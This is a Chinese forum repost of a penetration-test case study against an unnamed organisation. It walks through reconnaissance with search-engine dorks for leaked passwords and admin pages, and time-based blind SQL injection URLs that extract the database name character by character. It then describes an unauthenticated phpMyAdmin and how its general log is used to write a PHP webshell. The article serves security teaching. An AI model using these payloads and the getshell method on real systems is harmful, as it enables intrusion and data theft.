搜索

[15412] 2020-05-24_某真实渗透实践案例分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-05-24_某真实渗透实践案例分析 某 真 实 渗 透 实 践 案 例 分 析 6 c l o u d   F r e e B u f   2 0 2 0 - 0 5 - 2 4 一 、 网 络 渗 透 测 试 概 述 一 、 网 络 渗 透 测 试 概 述 网 络 渗 透 测 试 完 全 模 拟 黑 客 可 能 使 用 的 攻 击 技 术 和 漏 洞 发 现 技 术 ， 对 目 标 系 统 的 安 全 做 深 入 的 探 测 ， 发 现 网 络 网 络 渗 透 测 试 完 全 模 拟 黑 客 可 能 使 用 的 攻 击 技 术 和 漏 洞 发 现 技 术 ， 对 目 标 系 统 的 安 全 做 深 入 的 探 测 ， 发 现 网 络 脆 弱 环 节 ， 能 直 观 的 让 网 络 管 理 员 知 道 自 己 网 络 所 面 临 的 问 题 。 所 以 渗 透 测 试 是 安 全 评 估 的 方 法 之 一 。 脆 弱 环 节 ， 能 直 观 的 让 网 络 管 理 员 知 道 自 己 网 络 所 面 临 的 问 题 。 所 以 渗 透 测 试 是 安 全 评 估 的 方 法 之 一 。 随 着 信 息 技 术 的 发 展 ， 网 络 已 成 为 一 个 新 的 战 场 。 美 国 智 库 兰 德 公 司 称 网 络 战 为 信 息 时 代 的 核 武 器 ， 能 够 在 网 络 上 引 发 核 爆 的 网 络 战 ， 从 过 去 的 网 络 威 慑 已 经 开 始 向 实 战 迈 进 。 过 去 美 国 还 掖 着 藏 着 ， 不 过 近 年 来 特 朗 普 对 敌 对 国 家 步 步 紧 逼 已 经 开 始 露 出 獠 牙 ， 委 内 瑞 拉 的 电 网 瘫 痪 就 是 典 型 的 网 络 战 。 中 国 也 是 遭 受 网 络 攻 击 最 多 的 国 家 之 一 ， 特 别 是 在 一 些 关 键 时 期 ， 例 如 每 年 两 会 期 间 、 G 2 0 期 间 、 以 及 这 次 新 冠 病 毒 疫 情 期 间 ， 我 国 遭 受 的 网 络 攻 击 都 要 比 正 常 事 情 多 的 多 。 为 了 提 高 政 府 、 企 事 业 单 位 、 关 键 基 础 设 施 网 络 等 的 安 全 性 ， 相 关 单 位 会 邀 请 专 业 安 全 服 务 公 司 （ 或 自 行 ） 对 其 网 络 进 行 渗 透 测 试 ， 发 现 网 络 脆 弱 环 节 ， 并 进 行 相 应 的 整 改 。 接 下 来 我 们 就 以 六 方 云 攻 防 实 验 室 受 邀 对 某 重 点 单 位 的 一 次 渗 透 测 试 服 务 为 例 ， 简 单 介 绍 下 网 络 渗 透 测 试 的 过 程 。 二 、 网 络 渗 透 测 试 实 例 二 、 网 络 渗 透 测 试 实 例 2 . 1 信 息 搜 集 信 息 搜 集 在 渗 透 测 试 中 很 多 人 常 常 是 一 上 来 就 开 始 搞 事 情 ， 不 愿 意 去 对 目 标 网 站 或 服 务 做 过 多 的 信 息 收 集 ， 这 可 能 会 导 致 我 们 找 不 到 相 应 的 突 破 点 。 而 这 就 体 出 信 息 收 集 的 意 义 与 重 要 性 ， 在 我 自 己 看 来 ， 久 攻 不 下 的 网 站 并 不 是 我 们 能 力 不 够 而 是 我 们 信 息 收 集 的 不 够 ， 所 以 信 息 收 集 在 是 整 个 渗 透 测 试 中 最 重 要 的 一 步 ， 也 是 非 常 有 必 要 去 做 的 一 步 。 2 . 1 . 1 域 名 收 集 ( 1 ) 域 名 注 册 人 信 息 收 集 ， 我 们 可 以 通 过 w h o i s , 来 收 集 域 名 持 有 者 的 一 些 信 息 ， 比 如 姓 名 ， 电 话 ， 邮 箱 ， 域 名 变 动 等 等 。 ( 2 ) 子 域 名 收 集 ， 通 过 在 线 工 具 ， 或 k a l i 中 的 工 具 不 断 的 去 收 集 子 域 名 的 信 息 寻 找 更 多 的 子 域 名 。 2 . 1 . 2 绕 过 C N D 收 集 真 实 I P 找 旁 站 、 情 报 威 胁 中 心 、 超 级 P I N G 、 路 由 追 踪 、 跨 域 、 前 端 j s 代 码 、 查 找 域 名 历 史 I P 地 址 、 以 及 最 后 的 疯 狂 上 d d o s 打 掉 c d n 。 当 前 互 联 网 给 我 们 带 来 方 便 的 同 时 也 为 我 们 造 成 了 大 量 的 信 息 泄 露 ， 而 这 里 我 们 可 以 善 用 搜 索 引 擎 语 法 快 速 的 找 到 我 们 想 要 的 信 息 。 ( 1 ) 搜 索 敏 感 文 件 s i t e : x x x . c o m   f i l e t y p e : d o c   i n t e x t : 密 码 s i t e : x x x . c o m   f i l e t y p e : x l s i n t e x t : p a s s s i t e : x x x . c o m   f i l e t y p e : b a k 多 种 组 合 . . . .
( 2 ) 后 台 搜 索 s i t e : x x x . c o m 管 理 s i t e : x x x . c o m 登 录 s i t e : x x x . c o m   i n u r l : a d m i n s i t e : x x x . c o m   i n u r l : l o g i n 多 种 组 合 . . . ( 3 )   E m a i l 搜 索 s i t e : x x x . c o m   i n e x t : @ x x x . c o m . . . 多 种 组 合 ( 4 ) 敏 感 路 径 s i t e : x x x . c o m   i n u r l : p h p i n f o . p h p s i t e : x x x . c o m   i n u r l : p h p m y a d m i n . . . 多 种 组 合 2 . 1 . 3 服 务 器 操 作 系 统 2 . 1 . 4 端 口 开 放 服 务 识 别 2 . 1 . 5 收 集 同 站 其 他 服 务 站 点 等 2 . 1 . 6 C 段 I P 当 我 们 将 搜 集 的 i p 汇 总 下 后 ， 发 现 重 要 i p 段 基 本 都 在 一 个 c 段 。
x x x . x x x . 2 2 . 0 / 2 4 确 认 这 c 段 i p 有 可 能 就 是 目 标 单 位 的 资 产 i p 段 。 对 这 个 i p 段 进 行 端 口 搜 集 （ 这 里 端 口 搜 集 由 于 是 整 个 c 段 、 而 我 搜 集 的 是 1 - 6 5 5 3 5 目 标 端 口 、 目 标 搜 集 工 作 量 过 大 比 较 费 时 进 行 了 很 久 、 第 二 天 才 出 结 果 ）
这 里 跳 过 不 必 要 的 步 骤 直 接 对 信 息 搜 集 端 口 进 行 尝 试 ， 确 认 哪 些 是 可 用 信 息 。
猜 测 x x x . x x x . 2 2 . 1 8 9 i p 公 网 i p 每 个 端 口 单 独 映 射 到 内 网 系 统 2 . 2 实 战 开 始 实 战 开 始 前 期 搜 集 的 资 产 信 息 越 广 ， 我 们 的 攻 击 面 就 越 多 ， 所 以 后 期 的 成 就 是 建 立 在 前 期 的 信 息 搜 集 之 上 。 2 . 2 . 1 首 先 对 目 标 进 行 测 试 发 现 官 网 存 在 s q l 时 间 盲 注 延 迟 注 入 ， 是 一 种 盲 注 的 手 法 , 提 交 对 执 行 时 间 敏 感 的 函 数 s q l 语 句 ， 通 过 执 行 时 间 的 长 短 来 判 断 是 否 执 行 成 功 ， 比 如 : 正 确 的 话 会 导 致 时 间 很 长 ， 错 误 的 话 会 导 致 执 行 时 间 很 短 ， 这 就 是 所 谓 的 高 级 盲 注 。 h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = A % B F & l i n e i d = i f ( n o w ( ) = s y s d a t e ( ) % 2 C s l e e p ( 1 0 ) % 2 C 0 ) & p h = 1 & s t a t i o n =
在 这 里 用 出 s q l m a p 直 接 开 跑 发 现 跑 不 出 来 失 败 了 ， 范 围 太 大 就 精 确 点 手 工 把 数 据 库 名 弄 出 来 在 跑 表 首 先 确 认 数 据 库 名 称 长 度 需 要 把 判 断 注 入 点 换 成 i f ( l e n g t h ( d a t a b a s e ( ) ) = 6 % 2 C s l e e p ( 1 0 ) % 2 C 0 ) ， 此 语 法 是 判 断 数 据 库 名 称 长 度 是 否 等 于 6 ， 如 果 是 沉 睡 1 0 秒 ， 如 果 不 是 不 沉 睡 。 h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = A % B F & l i n e i d = i f ( l e n g t h ( d a t a b a s e ( ) ) = 6 % 2 C s l e e p ( 1 0 ) % 2 C 0 ) & p h = 1 & s t a t i o n = 长 度 错 误 如 下 得 到 了 数 据 库 名 长 度 、 来 猜 测 对 应 字 段 、 就 需 要 把 i f ( l e n g t h ( d a t a b a s e ( ) ) = 6 换 成
i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 1 , 1 ) ) = 1 0 0 , s l e e p ( 5 ) , 1 ) 这 段 的 意 思 是 i f 判 断 数 据 库 名 称 的 第 一 位 开 始 后 推 迟 一 位 用 a s c i i 表 示 是 否 等 于 1 0 0 ， 如 果 是 就 沉 睡 5 秒 ， 如 果 不 是 就 不 沉 睡 最 后 判 断 如 下 ： 数 据 库 名 称 为 d t _ w e b d h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = 1 & l i n e i d = i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 1 , 1 ) ) = 1 0 0 , s l e e p ( 5 ) , 1 ) & p h = 1 & s t a t i o n = t h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = 1 & l i n e i d = i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 2 , 1 ) ) = 1 1 6 , s l e e p ( 5 ) , 1 ) & p h = 1 & s t a t i o n = _ h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = 1 & l i n e i d = i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 3 , 1 ) ) = 9 5 , s l e e p ( 5 ) , 1 ) & p h = 1 & s t a t i o n = 1 w h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = 1 & l i n e i d = i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 4 , 1 ) ) = 1 1 9 , s l e e p ( 5 ) , 1 ) & p h = 1 & s t a t i o n = e h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = 1 & l i n e i d = i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 5 , 1 ) ) = 1 0 1 , s l e e p ( 5 ) , 1 ) & p h = 1 & s t a t i o n = b h t t p s : / / x x x . x x x . c o m / L i s t I n f o / ? c l a s s i d = 4 0 & l i n e = 1 & l i n e i d = i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 6 , 1 ) ) = 9 8 , s l e e p ( 5 ) , 1 ) & p h = 1 & s t a t i o n = 手 工 把 数 据 库 名 称 爆 出 来 了 ， 继 续 用 处 s q l m a p 跑 表 。 S q l m a p 跑 出 来 四 张 表 、 按 个 对 每 张 表 进 行 字 段 猜 解 、 跑 了 一 段 时 间 、 没 出 结 果 。 只 能 手 工 猜 解 了 、 但 是 猜 字 段 这 步 骤 手 工 验 证 需 要 花 费 时 间 非 常 多 、 这 个 s q l 注 入 就 到 这 里 结 束 了 。 2 . 2 . 2 接 下 来 又 在 上 图 找 到 的 x x x . x x x . 2 2 . 1 8 9 : 1 0 0 3 7 网 站 上 发 现 p h p m y a d m i n 网 站 。 该 网 站 问 题 由 于 开 发 者 不 适 当 的 配 置 ， 让 我 免 登 录 直 接 进 入 p h p m y a d m i n 内 部 。 + - - - - - - - - - - - - - +                 |   P a r a m e t r e   |           |   T I L _ I D I O T O N   |     |   s t o r e   |                 |   v e r k a e u f e r   |                 + - - - - - - - - - - - - - +
既 然 p h p M y A d m i n 成 功 进 入 、 那 么 就 可 以 随 意 查 看 数 据 库 信 息 、 篡 改 信 息 、 增 加 信 息 、 删 除 信 息 、 脱 库 等 一 些 敏 感 操 作 。
通 过 上 图 可 以 看 到 、 用 户 密 码 处 、 似 乎 采 用 了 l i n u x 用 户 密 码 同 样 加 密 的 手 法 。 2 . 2 . 3 知 道 了 p h p m y a d m i n 版 本 信 息 ， 借 助 p h p m y a d m i n 日 志 g e t s h e l l 1 ） 将 g e n e r a l _ l o g 打 开 2 ） 将 日 志 文 件 自 定 义 问 题 来 了 我 不 知 道 网 站 路 径 是 哪 个 ？ 只 知 道 是 D : M Y O A 目 录 如 何 自 定 义 路 径 ？ 我 这 边 用 到 的 方 法 是 、 把 数 据 库 脱 下 来 、 在 一 条 条 匹 配 信 息 。
确 认 网 站 绝 对 路 径 为 D : M Y O A w e b r o o t 已 知 网 站 绝 对 路 径 、 我 们 可 以 直 接 自 定 义 日 志 文 件 。 3 ） 使 用 s q l 语 句 写 入 p h p 一 句 话 木 马 4 ） w e b s h e l l 工 具 连 接
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理